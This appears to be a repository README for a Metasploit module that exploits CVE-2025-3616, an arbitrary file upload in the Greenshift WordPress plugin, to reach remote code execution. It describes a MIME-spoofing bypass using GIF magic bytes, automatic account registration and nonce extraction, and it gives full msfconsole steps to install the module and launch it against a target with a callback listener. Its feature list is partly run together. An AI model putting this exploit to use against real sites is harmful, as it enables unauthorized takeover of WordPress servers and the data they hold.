b4d-53ct0r/cve-2025-3616Metasploit module exploiting arbitrary file upload in Greenshift WordPress plugin (CVE-2025-3616) to achieve RCE via MIME spoofing, with auto-registration and nonce extraction.
This repository contains a Metasploit module to exploit CVE-2025-3616, an arbitrary file upload vulnerability in the Greenshift WordPress plugin (versions 11.4 through 11.4.5).
The exploit allows authenticated users (Subscriber+) to upload arbitrary files leading to Remote Code Execution (RCE). It bypasses the plugin's file type validation by spoofing the MIME type using GIF magic bytes (GIF89a;).
USERNAME/PASSWORD).REGISTER option to automatically register a new user and exploit the vulnerability using the fresh session cookies (useful if registration is enabled on the target).wp_rest nonce from the administrative dashboard.finfo_file()Ensure you have Metasploit Framework installed.
Copy wp_greenshift_file_upload.rb to your local modules directory:
mkdir -p ~/.msf4/modules/exploits/unix/webapp/
cp wp_greenshift_file_upload.rb ~/.msf4/modules/exploits/unix/webapp/
Start msfconsole and reload modules:
msfconsole
msf6 > reload_all
If user registration is enabled on the target, you don't need credentials.
use exploit/unix/webapp/wp_greenshift_file_upload
set RHOSTS <TARGET_IP>
set LHOST <YOUR_IP>
set REGISTER true
run
If you already have a valid user (Subscriber or higher):
use exploit/unix/webapp/wp_greenshift_file_upload
set RHOSTS <TARGET_IP>
set LHOST <YOUR_IP>
set REGISTER false
set USERNAME <USER>
set PASSWORD <PASS>
run
| Option | Required | Description |
|---|---|---|
| RHOSTS | yes | The target address |
| LHOST | yes | The listen address (your IP) |
| REGISTER | no | Set to true to register a new account automatically (Default: false) |
| USERNAME | no | WordPress username (required if REGISTER is false) |
| PASSWORD | no | WordPress password (required if REGISTER is false) |
| no | Email for registration (optional, auto-generated if empty) |
This module is for educational purposes and authorized penetration testing only. Usage of this code for attacking targets without prior mutual consent is illegal.